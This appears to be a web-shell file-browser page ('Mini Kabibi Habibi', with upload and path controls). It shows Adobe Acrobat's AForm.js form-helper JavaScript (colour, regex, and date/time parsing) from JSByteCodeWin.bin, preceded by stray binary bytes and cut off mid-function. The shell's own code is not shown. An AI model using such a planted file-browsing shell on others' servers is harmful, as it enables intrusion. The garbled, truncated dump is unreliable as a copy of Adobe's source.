Mini Kabibi Habibi

Current Path : C:/Program Files/Adobe/Acrobat DC/Acrobat/Javascripts/
Upload File :
Current File : C:/Program Files/Adobe/Acrobat DC/Acrobat/Javascripts/JSByteCodeWin.bin

J�s��4{�gv�Mc�/*

	==========================================================================

	Module: AForm.js

	==========================================================================

	Pre-canned functions to map the user interface into JavaScripts.

	==========================================================================

	The Software, including this file, is subject to the End User License

	Agreement.

	Copyright (c) 1998-2003, Adobe Systems Incorporated, All Rights Reserved.

	==========================================================================

*/



try {



// included for backwards compatibility

const IDS_GREATER_THAN = EScriptString.IDS_GREATER_THAN;

const IDS_GT_AND_LT = EScriptString.IDS_GT_AND_LT;

const IDS_LESS_THAN = EScriptString.IDS_LESS_THAN;

const IDS_INVALID_MONTH = EScriptString.IDS_INVALID_MONTH;

const IDS_INVALID_DATE = EScriptString.IDS_INVALID_DATE;

const IDS_INVALID_DATE2 = EScriptString.IDS_INVALID_DATE2;

const IDS_INVALID_VALUE = EScriptString.IDS_INVALID_VALUE;

const IDS_AM = EScriptString.IDS_AM;

const IDS_PM = EScriptString.IDS_PM;

const IDS_MONTH_INFO = EScriptString.IDS_MONTH_INFO;

const IDS_STARTUP_CONSOLE_MSG = EScriptString.IDS_STARTUP_CONSOLE_MSG;

	

const IDS_MEIJI_ABBREV = 'M';

const IDS_TAISHO_ABBREV = 'T';

const IDS_SHOWA_ABBREV = 'S';

const IDS_HEISEI_ABBREV = 'H';

const IDS_REIWA_ABBREV = 'R';

	

const IDS_MEIJI_ABBREV_LONG = 1868;

const IDS_TAISHO_ABBREV_LONG = 1912;

const IDS_SHOWA_ABBREV_LONG = 1926;

const IDS_HEISEI_ABBREV_LONG = 1989;

const IDS_REIWA_ABBREV_LONG = 2019;



const RE_NUMBER_ENTRY_DOT_SEP = new Array(

	"[+-]?\\d*\\.?\\d*"

);

const RE_NUMBER_COMMIT_DOT_SEP = new Array(

	"[+-]?\\d+(\\.\\d+)?",		/* -1.0 or -1 */

	"[+-]?\\.\\d+",				/* -.1 */

	"[+-]?\\d+\\."				/* -1. */

);

const RE_NUMBER_ENTRY_COMMA_SEP = new Array(

	"[+-]?\\d*,?\\d*"

);

const RE_NUMBER_COMMIT_COMMA_SEP = new Array(

	"[+-]?\\d+([.,]\\d+)?",		/* -1,0 or -1 */

	"[+-]?[.,]\\d+",				/* -,1 */

	"[+-]?\\d+[.,]"				/* -1, */

);

const RE_ZIP_ENTRY = new Array(

	"\\d{0,5}"

);

const RE_ZIP_COMMIT = new Array(

	"\\d{5}"

);

const RE_ZIP4_ENTRY = new Array(

	"\\d{0,5}(\\.|[- ])?\\d{0,4}"

);

const RE_ZIP4_COMMIT = new Array(

	"\\d{5}(\\.|[- ])?\\d{4}"

);

const RE_PHONE_ENTRY = new Array(

	"\\d{0,3}(\\.|[- ])?\\d{0,3}(\\.|[- ])?\\d{0,4}",		/* 555-1234 or 408 555-1234 */

	"\\(\\d{0,3}",											/* (408 */

	"\\(\\d{0,3}\\)(\\.|[- ])?\\d{0,3}(\\.|[- ])?\\d{0,4}",	/* (408) 555-1234 */

		/* (allow the addition of parens as an afterthought) */

	"\\(\\d{0,3}(\\.|[- ])?\\d{0,3}(\\.|[- ])?\\d{0,4}",	/* (408 555-1234 */

	"\\d{0,3}\\)(\\.|[- ])?\\d{0,3}(\\.|[- ])?\\d{0,4}",	/* 408) 555-1234 */

	"011(\\.|[- \\d])*"										/* international */

);

const RE_PHONE_COMMIT = new Array(

	"\\d{3}(\\.|[- ])?\\d{4}",							/* 555-1234 */

	"\\d{3}(\\.|[- ])?\\d{3}(\\.|[- ])?\\d{4}",			/* 408 555-1234 */

	"\\(\\d{3}\\)(\\.|[- ])?\\d{3}(\\.|[- ])?\\d{4}",	/* (408) 555-1234 */

	"011(\\.|[- \\d])*"									/* international */

);

const RE_SSN_ENTRY = new Array(

	"\\d{0,3}(\\.|[- ])?\\d{0,2}(\\.|[- ])?\\d{0,4}"

);

const RE_SSN_COMMIT = new Array(

	"\\d{3}(\\.|[- ])?\\d{2}(\\.|[- ])?\\d{4}"

);



/* Function definitions for the color object. */



function ColorConvert(oColor, cColorspace)

{	// Converts a color to a specific colorspace.

	var oOut = oColor;



	switch (cColorspace) {

		case "G":

			// Note that conversion to the DeviceGray colorspace is lossy in the same

			// way that a color signal on a B/W TV is lossy.

			if (oColor[0] == "RGB")

				oOut = new Array("G", 0.3 * oColor[1] + 0.59 * oColor[2] + 0.11 * oColor[3]);

			else if (oColor[0] == "CMYK")

				oOut = new Array("G", 1.0 - Math.min(1.0, 

					0.3 * oColor[1] + 0.59 * oColor[2] + 0.11 * oColor[3] + oColor[4]));

		break;

		case "RGB":

			if (oColor[0] == "G")

				oOut = new Array("RGB", oColor[1], oColor[1], oColor[1]);

			else if (oColor[0] == "CMYK")

				oOut = new Array("RGB", 1.0 - Math.min(1.0, oColor[1] + oColor[4]), 

					1.0 - Math.min(1.0, oColor[2] + oColor[4]),

					1.0 - Math.min(1.0, oColor[3] + oColor[4]));

		break;

		case "CMYK":

			if (oColor[0] == "G")

				oOut = new Array("CMYK", 0, 0, 0, 1.0 - oColor[1]);

			else if (oColor[0] == "RGB")

				oOut = new Array("CMYK", 1.0 - oColor[1], 1.0 - oColor[2], 1.0 - oColor[3], 0); 

		break;

	}



	return oOut;

}



function ColorEqual(c1, c2)

{	// Compare two colors. 

	/* The gray colorspace conversion is lossy so we avoid if possible. */

	if (c1[0] == "G")

		c1 = color.convert(c1, c2[0]);

	else

		c2 = color.convert(c2, c1[0]);



	/* Colorspace must be equal. */

	if (c1[0] != c2[0])	{

		return false;

	}



	/* Compare the individual components. */

	var nComponents = 0;

		

	switch (c1[0]) {

		case "G":

			nComponents = 1;

		break;

		case "RGB":

			nComponents = 3;

		break;

		case "CMYK":

			nComponents = 4;

		break;

	}



	for (var i = 1; i <= nComponents; i++) {

		if (c1[i] != c2[i])	{

			return false;

		}

	}



	return true;

}



/* ==== Convenience Objects ==== */



/* Stock color definitions for ease of use. */

color = new Object();

color.equal = ColorEqual;

color.convert = ColorConvert;

color.transparent = new Array("T");

color.black = new Array("G", 0);

color.white = new Array("G", 1);

color.dkGray = new Array("G", 0.25);

color.gray = new Array("G", 0.5);

color.ltGray = new Array("G", 0.75);

color.red = new Array("RGB", 1, 0, 0);

color.green = new Array("RGB", 0, 1, 0);

color.blue = new Array("RGB", 0, 0, 1);

color.cyan = new Array("CMYK", 1, 0, 0, 0);

color.magenta = new Array("CMYK", 0, 1, 0, 0);

color.yellow = new Array("CMYK", 0, 0, 1, 0);

    

/* Font definitions for ease of use */

const font = new Object();

font.Times = "Times-Roman";

font.TimesB = "Times-Bold";

font.TimesI = "Times-Italic";

font.TimesBI = "Times-BoldItalic";

font.Helv = "Helvetica";

font.HelvB = "Helvetica-Bold";

font.HelvI = "Helvetica-Oblique";

font.HelvBI = "Helvetica-BoldOblique";

font.Cour = "Courier";

font.CourB = "Courier-Bold";

font.CourI = "Courier-Oblique";

font.CourBI = "Courier-BoldOblique";

font.Symbol = "Symbol";

font.ZapfD = "ZapfDingbats";

font.KaGo = "HeiseiKakuGo-W5-UniJIS-UCS2-H";

font.KaMi = "HeiseiMin-W3-UniJIS-UCS2-H";



/* Border style definitions for ease of use */

const border = new Object();

border.s = "solid";

border.d = "dashed";

border.b = "beveled";

border.i = "inset";

border.u = "underline";



/* Radio/Check button style definitions for ease of use */

const style = new Object();

style.ch = "check";

style.cr = "cross";

style.di = "diamond";

style.ci = "circle";

style.st = "star";

style.sq = "square"; 



/* highlight modes of on a push button */

const highlight = new Object();

highlight.n = "none";

highlight.i = "invert";

highlight.p = "push";

highlight.o = "outline";



/* zoom types for a document */

const zoomtype = new Object();

zoomtype.none = "NoVary";

zoomtype.fitW = "FitWidth";

zoomtype.fitH = "FitHeight";

zoomtype.fitP = "FitPage";

zoomtype.fitV = "FitVisibleWidth";

zoomtype.pref = "Preferred";

zoomtype.refW = "ReflowWidth";



/* Cursor behavior in full screen mode. */

const cursor = new Object();

cursor.visible = 0;

cursor.hidden = 1;

cursor.delay = 2;



/* Transition definitions. */

const trans = new Object();

trans.blindsH		= "BlindsHorizontal";

trans.blindsV		= "BlindsVertical";

trans.boxI			= "BoxIn";

trans.boxO			= "BoxOut";

trans.dissolve		= "Dissolve";

trans.glitterD		= "GlitterDown";

trans.glitterR		= "GlitterRight";

trans.glitterRD		= "GlitterRightDown";

trans.random		= "Random";

trans.replace		= "Replace";

trans.splitHI		= "SplitHorizontalIn";

trans.splitHO		= "SplitHorizontalOut";

trans.splitVI		= "SplitVerticalIn";

trans.splitVO		= "SplitVerticalOut";

trans.wipeD			= "WipeDown";

trans.wipeL			= "WipeLeft";

trans.wipeR			= "WipeRight";

trans.wipeU			= "WipeUp";



/* Icon/Text placement. */

const position = new Object();

position.textOnly	= 0;

position.iconOnly	= 1;

position.iconTextV	= 2;

position.textIconV	= 3;

position.iconTextH	= 4;

position.textIconH	= 5;

position.overlay	= 6;



/* When does icon scale. */

const scaleWhen = new Object();

scaleWhen.always	= 0;

scaleWhen.never		= 1;

scaleWhen.tooBig	= 2;

scaleWhen.tooSmall	= 3;



/* How does icon scale. */

const scaleHow = new Object();

scaleHow.proportional	= 0;

scaleHow.anamorphic		= 1;





/* Field display. */

const display = new Object();

display.visible		= 0;

display.hidden		= 1;

display.noPrint		= 2;

display.noView		= 3;



/* Permission values */

const permission = new Object();

/* Request Objects */

permission.document 	= "Document";

permission.page 		= "Page";

permission.link 		= "Link";

permission.bookmark 	= "Bookmark";

permission.thumbnail 	= "Thumbnail";

permission.annot 		= "Annot";

permission.form 		= "Form";

permission.signature 	= "Signature";

permission.ef 			= "EF";



/* Array of all valid object types, ordered as per SDK header files */

permission.object = [

		permission.document, permission.page, permission.link, permission.bookmark, 

		permission.thumbnail, permission.annot, permission.form, permission.signature, 

		permission.ef ];



/* Request Operations */

permission.all 			= "All";

permission.create 		= "Create";

permission.remove 		= "Delete";

permission.modify 		= "Modify";

permission.copy 		= "Copy";

permission.accessible 	= "Accessible";

permission.select 		= "Select";

permission.open 		= "Open";

permission.secure 		= "Secure";

permission.print 		= "PrintHigh";		// do not use this

permission.printHigh	= "PrintHigh";

permission.printLowQuality 	= "PrintLow";	// do not use this

permission.printLow		= "PrintLow";

permission.fillIn 		= "FillIn";

permission.rotate 		= "Rotate";

permission.crop 		= "Crop";

permission.summarize 	= "Summarize";

permission.insert 		= "Insert";

permission.replace 		= "Replace";

permission.reorder 		= "Reorder";

permission.fullSave 	= "FullSave";

permission.canImport 	= "Import";

permission.canExport 	= "Export";

permission.any 			= "Any";

permission.unknownOpr 	= "UnknownOpr";		// not a valid call

permission.submitStandalone = "SubmitStandalone";

permission.spawnTemplate = "SpawnTemplate";

permission.online		= "Online";

permission.summaryView	= "SummaryView";

permission.barcodePlaintext = "BarcodePlaintext";



/* Array of all valid operations, ordered as per SDK header files */

permission.operation = [

		permission.all, permission.create, permission.remove, permission.modify,

		permission.copy, permission.accessible, permission.select, permission.open, 

		permission.secure, permission.printHigh, permission.printLow, permission.fillIn, 

		permission.rotate, permission.crop, permission.summarize, permission.insert, 

		permission.replace, permission.reorder, permission.fullSave, 

		permission.canImport, permission.canExport, permission.any, permission.unknownOpr, 

		permission.submitStandalone, permission.spawnTemplate, permission.online, 

		permission.summaryView, permission.barcodePlaintext ];



/* Permission status return values */

permission.denied = -1;

permission.granted = 0;

permission.unknownObject = 1;

permission.unknownOperation = 2;

permission.na = 3;

permission.pending = 4;



/* Usage rights "enum" */

const submitFormUsageRights = { 'RMA': "RMA" };



/* File systems "enum" */

const fileSystem = { 'default': "", 'WebDAV': "CHTTP" };



const encoding = new Object();

encoding.roman = "US-ASCII";

encoding.unicodeUTF8 = "utf-8";	

encoding.unicodeUTF16 = "utf-16";

encoding.unicodeUTF16BE = "utf-16BE";

encoding.unicodeUTF16LE = "utf-16LE";

encoding.japanese = "Shift-JIS";

encoding.traditionalChinese = "Big5";

encoding.BigFive = "BigFive";

encoding.simplifiedChinese = "GBK";

encoding.korean = "UHC";



const requirements = new Object();

requirements.EnableJavaScripts = "EnableJavaScripts";



/* Container Disclosure Policies */

const HostContainerDisclosurePolicy = new Object();

HostContainerDisclosurePolicy.SameOriginPolicy = function( cContainerURL, cDocURL ) 

{

	var isSameOrigin = false;



	try {

	

		// Crack both URLs

		var URL1Parts = util.crackURL( cContainerURL );

		var URL2Parts = util.crackURL( cDocURL );

		

		// Make sure first URL has both scheme and host and neither is blank

		if ( ( URL1Parts.cScheme != undefined ) && ( URL1Parts.cScheme.length > 0 ) && ( URL1Parts.cHost != undefined ) && ( URL1Parts.cHost.length > 0 ) ) {



			// Make sure second URL has both scheme and host and neither is blank

			if ( ( URL2Parts.cScheme != undefined ) && ( URL2Parts.cScheme.length > 0 ) && ( URL2Parts.cHost != undefined ) && ( URL2Parts.cHost.length > 0 ) ) {

		

				// Make sure schemes and hosts match (case insensitive). 

				var lcaseScheme1 = URL1Parts.cScheme.toLowerCase();

				if ( ( lcaseScheme1 === URL2Parts.cScheme.toLowerCase() ) && ( URL1Parts.cHost.toLowerCase() === URL2Parts.cHost.toLowerCase() ) ) {

				

					// Check against schemes whitelist - we don't want schemes we don't understand being blessed without

					// us doing it on purpose! Notice that we explicitly do NOT support file: URLs - we don't think files

					// on the local disk should trust one another.

					if ( ( lcaseScheme1 == "http" ) || ( lcaseScheme1 == "https" ) || ( lcaseScheme1 == "ftp" ) ) {

					

						// If either has a port, they need to match

						if ( ( ( URL1Parts.nPort === undefined ) && ( URL2Parts.nPort === undefined ) ) || ( URL1Parts.nPort == URL2Parts.nPort ) )

							isSameOrigin = true;	// it all checks out!

					}

				}

			}

		}

	} 

	catch ( e ) {

		

		// Eat exception - crackURL throws if it doesn't understand URL 

	}

	

	return isSameOrigin;  

}





/* ==== Functions ==== /



/* these may be used a lot -- they are language independent */



const AFDigitsRegExp = new RegExp();

AFDigitsRegExp.compile("\\d+");

const AFPMRegExp = new RegExp();

AFPMRegExp.compile(EScriptString.IDS_PM, "i");

const AFAMRegExp = new RegExp();

AFAMRegExp.compile(EScriptString.IDS_AM, "i");

const AFTimeLongRegExp = new RegExp();

AFTimeLongRegExp.compile("\\d{1,2}:\\d{1,2}:\\d{1,2}");

const AFTimeShortRegExp = new RegExp();

AFTimeShortRegExp.compile("\\d{1,2}:\\d{1,2}");

const AFTimeGarbageRegExp = new RegExp();

AFTimeGarbageRegExp.compile("\\d{1,2}:\\d{1,2}(:\\d{1,2})?(\\s)*(am|pm)?", "i");



function AFBuildRegExps(array)

/* Takes an array of strings and turns it into an array of compiled regular

 * expressions -- is used for the definitions that follow */

{

	var retVal = new Array();



	retVal.length = array.length;

	for(var it = 0; it < array.length; it++)

	{

		retVal[it] = new RegExp();

		retVal[it].compile(array[it], "i");

	}

	return retVal;

}



/* these may be used a lot -- they are NOT language independent and are 

 * derived from the localizable (RE_xxx) stuff above */



const AFNumberDotSepEntryRegExp = AFBuildRegExps(RE_NUMBER_ENTRY_DOT_SEP);

const AFNumberDotSepCommitRegExp = AFBuildRegExps(RE_NUMBER_COMMIT_DOT_SEP);

const AFNumberCommaSepEntryRegExp = AFBuildRegExps(RE_NUMBER_ENTRY_COMMA_SEP);

const AFNumberCommaSepCommitRegExp = AFBuildRegExps(RE_NUMBER_COMMIT_COMMA_SEP);

const AFZipEntryRegExp = AFBuildRegExps(RE_ZIP_ENTRY);

const AFZipCommitRegExp = AFBuildRegExps(RE_ZIP_COMMIT);

const AFZip4EntryRegExp = AFBuildRegExps(RE_ZIP4_ENTRY);

const AFZip4CommitRegExp = AFBuildRegExps(RE_ZIP4_COMMIT);

const AFPhoneEntryRegExp = AFBuildRegExps(RE_PHONE_ENTRY);

const AFPhoneCommitRegExp = AFBuildRegExps(RE_PHONE_COMMIT);

const AFSSNEntryRegExp = AFBuildRegExps(RE_SSN_ENTRY);

const AFSSNCommitRegExp = AFBuildRegExps(RE_SSN_COMMIT);

const AFMonthsRegExp = AFBuildRegExps(EScriptString.IDS_MONTH_INFO.split(/\[\d+\]/));



function AFExactMatch(rePatterns, sString)

{	/* match a string against an array of RegExps */

	var it;



	if(!rePatterns.length && rePatterns.test(sString) && RegExp.lastMatch == sString)

		return true;

	for(it = 0; it < rePatterns.length; it++)

		if(rePatterns[it].test(sString) && RegExp.lastMatch == sString)

			return it + 1;

	return 0;

}



function AFExtractNums(string)

{	/* returns an array of numbers that it managed to extract from the given 

	 * string or null on failure */

	var nums = new Array();



	if (string.charAt(0) == '.' || string.charAt(0) == ',')

		string = "0" + string;

		 

	while(AFDigitsRegExp.test(string)) {

		nums.length++;

		nums[nums.length - 1] = RegExp.lastMatch;

		string = RegExp.rightContext;

	}

	if(nums.length >= 1) return nums;

	return null;

}



function AFMakeNumber(string)

{	/* attempts to make a number out of a string that may not use '.' as the

	 * seperator; it expects that the number is fairly well-behaved other than

	 * possibly having a non-JavaScript friendly separator */

	var type = typeof string;



	if (type == "number")

		return string;

	if (type != "string")

		return null;



	var array = AFExtractNums(string);



	if(array)

	{

		var joined = array.join(".");



		if (string.indexOf("-.") >= 0)

			joined = "0." + joined;

		return joined * (string.indexOf("-") >= 0 ? -1.0 : 1.0);

	}

	else

		return null;

}



function AFExtractRegExp(rePattern, string)

{	/* attempts to match the pattern given against the string given; on 

	 * success, returns an array containing (at index 0) the initial

	 * string with the matched text removed and (at index 1) the matched

	 * text; on failure, returns null */

	var retVal = new Array();



	if(rePattern.test(string))

	{

		retVal.length = 2;

		retVal[0] = RegExp.leftContext + RegExp.rightContext;

		retVal[1] = RegExp.lastMatch;

		return retVal;

	}

	return null;

}



function AFMakeArrayFromList(string)

{

  var type = typeof string;



  if(type == "string")

  {

 	var reSep = new RegExp();

	reSep.compile(",[ ]?");

	return string.split(reSep);

  }

  return string;

}



function AFExtractTime(string)

{	/* attempts to extract a WELL FORMED time from a string; returned 

	 * is an array in the same vein as AFExtractRegExp or null on

	 * failure. a WELL FORMED time looks like 12:23:56pm */

	

	var pm = "";

	var info;



	info = AFExtractRegExp(AFPMRegExp, string);

	if(info)

	{

		pm = info[1];

		string = info[0];

	}

	info = AFExtractRegExp(AFAMRegExp, string);

	if(info)

	{

		string = info[0];

	}

	info = AFExtractRegExp(AFTimeLongRegExp, string);

	if(info)

	{

		info[1] += pm;

		return info;

	}

	info = AFExtractRegExp(AFTimeShortRegExp, string);

	if(info)

	{

		info[1] += pm;

		return info;

	}



	return null;

}



function AFGetMonthIndex(string)

{	/* attempts to identify the given string as a month or a valid abbreviation,

	 * it expects the given string to be the valid month from the matced RegExp.

	 * returns the month index (January = 1) or zero on failure */

	var monthre = new RegExp(string + "\\[(\\d+)\\]", "i");

	var result = monthre.exec(EScriptString.IDS_MONTH_INFO);

	

	if(string && result) return 1.0 * result[1];

	return 0;

}



function AFMatchMonth(string)

{	/* attempts to find a valid month embedded in a string; returns the month

	 * index (January = 1) or zero on failure */



	for(var it = 0; it < AFMonthsRegExp.length; it++)

		if(AFMonthsRegExp[it].test(string))

			return AFGetMonthIndex(RegExp.lastMatch);

	return 0;

}



function AFGetMonthString(index)

{	/* returns the string corresponding to the given month or a string that

	 * is indicative of the fact that the index was invalid */

	var monthre = new RegExp("(\\w+)\\[" + index + "\\]");

	var result = monthre.exec(EScriptString.IDS_MONTH_INFO);



	if(result) return result[1];

	return EScriptString.IDS_INVALID_MONTH;

}



function AFParseTime(string, date)

{	/* attempts to parse a string containing a time; returns null on failure

	 * or a Date object on success. Time can be in ugly format. */

	var pm, am;

	var nums = AFExtractNums(string);

	if (!date)

		date = new Date();

	var hour, minutes, seconds;



	if(!string) return date;



	if(!(AFTimeGarbageRegExp.test(string) && string == RegExp.lastMatch))

		return null;



	if(!nums) return null;

	if(nums.length < 2 || nums.length > 3) return null;

	if(AFPMRegExp.test(string)) pm = true;

	else pm = false;

	if(AFAMRegExp.test(string)) am = true;

	else am = false;

	hour = new Number(nums[0]); /* force it to number */

	if(pm)

	{

		if(hour < 12) hour += 12;

	}

	else if (am)

	{

		if(hour >= 12) hour -= 12;

	}

	minutes = nums[1];

	if(nums.length == 3) seconds = nums[2];

	else seconds = 0;

	date.setHours(hour);

	date.setMinutes(minutes);

	date.setSeconds(seconds);

	if(date.getHours() != hour)

		return null;

	if(date.getMinutes() != minutes)

		return null;

	if(date.getSeconds() != seconds)

		return null;

	return date;

}



function AFDateFromYMD(nYear, nMonth, nDate)

{	/* Validates the given fields and returns a date based on them */

	var dDate = new Date();



	dDate.setFullYear(nYear, nMonth, nDate);

	if(dDate.getFullYear() != nYear)

		return null;

	if(dDate.getMonth() != nMonth)

		return null;

	if(dDate.getDate() != nDate)

		return null;

	return dDate;

}



function AFGetJapaneseYear(JYear)

{

	var nYear = AFExtractNums(JYear) * 1.0;

	switch(JYear[0])

	{

		case IDS_MEIJI_ABBREV:

			nYear += IDS_MEIJI_ABBREV_LONG - 1;

			break;

		case IDS_TAISHO_ABBREV:

			nYear += IDS_TAISHO_ABBREV_LONG - 1;

			break;

		case IDS_SHOWA_ABBREV:

			nYear += IDS_SHOWA_ABBREV_LONG - 1;

			break;

		case IDS_HEISEI_ABBREV:

			nYear += IDS_HEISEI_ABBREV_LONG - 1;

			break;

		case IDS_REIWA_ABBREV:

			nYear += IDS_REIWA_ABBREV_LONG - 1;

			break;

	}

	return nYear;

}



//This function is a duplicate code of function AFParseDateEx. 

// Code duplication has been done to handle japanese data format.

function AFParseJapaneseEraDateEx(cString, cFormat, cOrder, dDate)

{

	var nYear;

	var nMonth;

	var nDate;

	var nYCount;

	var cOrder;

	var JYear;

	nYCount = AFParseDateYCount(cFormat); /* count the number of digits for year in the selected format */



	/* Extract any time information in the string. */

	var info = AFExtractTime(cString);

	if (info)

		cString = info[0];

	

	/* Break down the date into an array of numbers. */

	var aNums = AFExtractNums(cString);

	if(!aNums) 

		return null;	/* No numbers? */



	var aJapaneseNums = cString.split(cOrder[3]);

	

	/* User supplied three numbers. */

	if (aNums.length == 3) {

		JYear = aJapaneseNums[cOrder.indexOf("y")];

		nYear = AFGetJapaneseYear(JYear);



		dDate = AFDateFromYMD(nYear, aJapaneseNums[cOrder.indexOf("m")] - 1, aJapaneseNums[cOrder.indexOf("d")]);

		if (info)

			dDate = AFParseTime(info[1], dDate);

		else if (dDate)

			dDate.setHours(0, 0, 0);

		return dDate;

	}



	/* Find text based month, if supplied. */

	nMonth = AFMatchMonth(cString);	



	/* User supplied two numbers. */

	if(aNums.length == 2) {

		if (nMonth) {

			/* Easy case, the month was text and we have two numbers. */

			if (cOrder.indexOf("y") < cOrder.indexOf("d")) {

				JYear = aJapaneseNums[0];

				nDate = aNums[1];

			} else {

				JYear = aJapaneseNums[1];

				nDate = aNums[0];

			} 

			

			nYear = AFGetJapaneseYear(JYear);

			

			dDate = AFDateFromYMD(nYear, nMonth - 1, nDate);



			if (info)

				dDate = AFParseTime(info[1], dDate);

			else if (dDate)

				dDate.setHours(0, 0, 0);

			return dDate;

		}



		/* More difficult case. We have two numbers and three slots, how

		** to allocate them? */

		if (cOrder.indexOf("y") < cOrder.indexOf("d"))	{

			/* Year comes before date and as such we allocate the two

			** numbers to the month and the year only. */

			if (cOrder.indexOf("y") < cOrder.indexOf("m")) {

				JYear = aJapaneseNums[0];

				nMonth = aNums[1];

			} else {

				JYear = aJapaneseNums[1];

				nMonth = aNums[0];

			}

		

			nYear = AFGetJapaneseYear(JYear);

			dDate = AFDateFromYMD(nYear, nMonth - 1, 1);

		} else {

			/* Date comes before year and so we allocate the two numbers

			** to the date and the month only. */

			nYear = dDate.getFullYear();

			if (cOrder.indexOf("d") < cOrder.indexOf("m")) {

				dDate = AFDateFromYMD(nYear, aNums[1] - 1, aNums[0]);

			} else {

				dDate = AFDateFromYMD(nYear, aNums[0] - 1, aNums[1]);

			}

		}

	

		if (info)

			dDate = AFParseTime(info[1], dDate);

		else if (dDate)

			dDate.setHours(0, 0, 0);

		return dDate;

	}



	/* User supplied one number. */

	if(aNums.length == 1)	{

		if (nMonth) {

			/* We have one number and two slots (y/d) and need to allocate

			** them based on who came first in the format. */

			if(cOrder.indexOf("y") < cOrder.indexOf("d")) {

				JYear = aJapaneseNums[0];			

				nYear = AFGetJapaneseYear(JYear);

				

				dDate = AFDateFromYMD(nYear, nMonth - 1, 1);

			} else {

				nYear = dDate.getFullYear();

				dDate = AFDateFromYMD(nYear, nMonth - 1, aNums[0]);

			}

			if (info)

				dDate = AFParseTime(info[1], date);

			else if (dDate)

				dDate.setHours(0, 0, 0);

			return dDate;

		}



		/* We have one number and three slots and need to allocate them

		** based on who came first in the format. */

		// transcribe the format exactly.  There should be a one to one correspondence.

		if (cFormat.length != cString.length)

			return null;



		nYear = "";

		nMonth = "";

		nDate = "";



		for (var i = 0; i < cFormat.length; i++) {

			switch (cFormat.charAt(i)) {

				case "\\":	/* Escape character. */

					i++;

					break;

				case "y":

					nYear += cString.charAt(i);

					break;

				case "m":

					nMonth += cString.charAt(i);

					break;

				case "d":

					nDate += cString.charAt(i);

					break;

			}

		}

		

		nYear *= 1.0;

		nMonth *= 1.0;

		nDate *= 1.0

		

		if(nMonth)

			nMonth -= 1.0;  // Month range is [0-11]

		

		if(!nDate)

			nDate += 1.0;   // Date range is [1-31]



		if ((nYCount > 2 && nYear < 100) /* must enter 4 digits for the year to match with the format of the field */

			|| nYear > 9999)

			return null; 

		

		nYear = AFDateHorizon(nYear);



		dDate = AFDateFromYMD(nYear, nMonth, nDate);



		if (info)

			dDate = AFParseTime(info[1], date);

		else if (dDate)

			dDate.setHours(0, 0, 0);

		return dDate;

	}



	/* No idea how to deal with the other combinations. */

	return null;

}



//function AFParseJapaneseEraDateEx has been dupplicated from this function to handle japanese era date. 

// Any changes made in the business logic of this function should also be made in that function.



function AFParseDateEx(cString, cFormat)

{	/* Attempts to parse a string containing some form of date; returns null

	** on failure or a Date object on success.  cFormat should be the format 

	** in which the date is entered. ( eg y/m/d, ddmmyy, etc ). 

	** compatibility note: this function used to take cOrder as a paramter,

	** which was the order in which the date was entered (e.g. ymd, mdy, etc.)

	** However, if the date is entered numerically with no separators.  ie "121902" 

	** a cOrder of dmy, could be 1-2-1902 or 12-19-02 etc, so now we require cFormat

	** to resolve the ambiguity. */

	var nYear;

	var nMonth;

	var nDate;

	var nYCount;

	var cOrder;



		

	var dDate = new Date();

	dDate.setHours(12, 0, 0);

	

	/* Empty string returns current date/time. */

	if (!cString) { 

		return dDate;

	}

	

	cOrder = AFParseDateOrder(cFormat); /* make sure its in the "ymd" format */ // Ankur caters J and replaces with y in this.

	

	//if format contains a letter 'j'. This implies that date is sent is expected in japanese era format.

	// Thus need a explicit handling.

	if(cFormat.indexOf("j") != -1 )

	{

		//Parse for japenese character

		var Nums = cString.split(cOrder[3]);

		var JYear = Nums[cOrder.indexOf("y")];

		

		//first char of year is alphabet then we need to calculate date as per japanese era.

		if(!AFDigitsRegExp.test(JYear[0]) )

		{

			dDate = AFParseJapaneseEraDateEx(cString, cFormat, cOrder, dDate);

			return dDate;

		}

	}

	

	

	nYCount = AFParseDateYCount(cFormat); /* count the number of digits for year in the selected format */

	

	/* Extract any time information in the string. */

	var info = AFExtractTime(cString);

	if (info)

		cString = info[0];



	/* Break down the date into an array of numbers. */

	var aNums = AFExtractNums(cString);

	if(!aNums) 

		return null;	/* No numbers? */



	/* User supplied three numbers. */

	if (aNums.length == 3) {

		nYear = 1.0 * aNums[cOrder.indexOf("y")];

		if ((nYCount > 2 && nYear < 100) /* must enter 4 digits for the year to match with the format of the field */

			|| nYear > 9999)

			return null; 

		

		nYear = AFDateHorizon(nYear);



		dDate = AFDateFromYMD(nYear, aNums[cOrder.indexOf("m")] - 1, aNums[cOrder.indexOf("d")]);

		if (info)

			dDate = AFParseTime(info[1], dDate);

		else if (dDate)

			dDate.setHours(0, 0, 0);

		return dDate;

	}



	/* Find text based month, if supplied. */

	nMonth = AFMatchMonth(cString);	



	/* User supplied two numbers. */

	if(aNums.length == 2) {

		if (nMonth) {

			/* Easy case, the month was text and we have two numbers. */

			if (cOrder.indexOf("y") < cOrder.indexOf("d")) {

				nYear = 1.0 * aNums[0];

				nDate = aNums[1];

			} else {

				nYear = 1.0 * aNums[1];

				nDate = aNums[0];

			}

			if ((nYCount > 2 && nYear < 100) /* must enter 4 digits for the year to match with the format of the field */

				|| nYear > 9999)

				return null; 

		

			nYear = AFDateHorizon(nYear);

			dDate = AFDateFromYMD(nYear, nMonth - 1, nDate);



			if (info)

				dDate = AFParseTime(info[1], dDate);

			else if (dDate)

				dDate.setHours(0, 0, 0);

			return dDate;

		}



		/* More difficult case. We have two numbers and three slots, how

		** to allocate them? */

		if (cOrder.indexOf("y") < cOrder.indexOf("d"))	{

			/* Year comes before date and as such we allocate the two

			** numbers to the month and the year only. */

			if (cOrder.indexOf("y") < cOrder.indexOf("m")) {

				nYear = 1.0 * aNums[0];

				nMonth = aNums[1];

			} else {

				nYear = 1.0 * aNums[1];

				nMonth = aNums[0];

			}

			if ((nYCount > 2 && nYear < 100) /* must enter 4 digits for the year to match with the format of the field */

				|| nYear > 9999)

				return null; 

		

			nYear = AFDateHorizon(nYear);

			dDate = AFDateFromYMD(nYear, nMonth - 1, 1);

		} else {

			/* Date comes before year and so we allocate the two numbers

			** to the date and the month only. */

			nYear = dDate.getFullYear();

			if (cOrder.indexOf("d") < cOrder.indexOf("m")) {

				dDate = AFDateFromYMD(nYear, aNums[1] - 1, aNums[0]);

			} else {

				dDate = AFDateFromYMD(nYear, aNums[0] - 1, aNums[1]);

			}

		}

	

		if (info)

			dDate = AFParseTime(info[1], dDate);

		else if (dDate)

			dDate.setHours(0, 0, 0);

		return dDate;

	}



	/* User supplied one number. */

	if(aNums.length == 1)	{

		if (nMonth) {
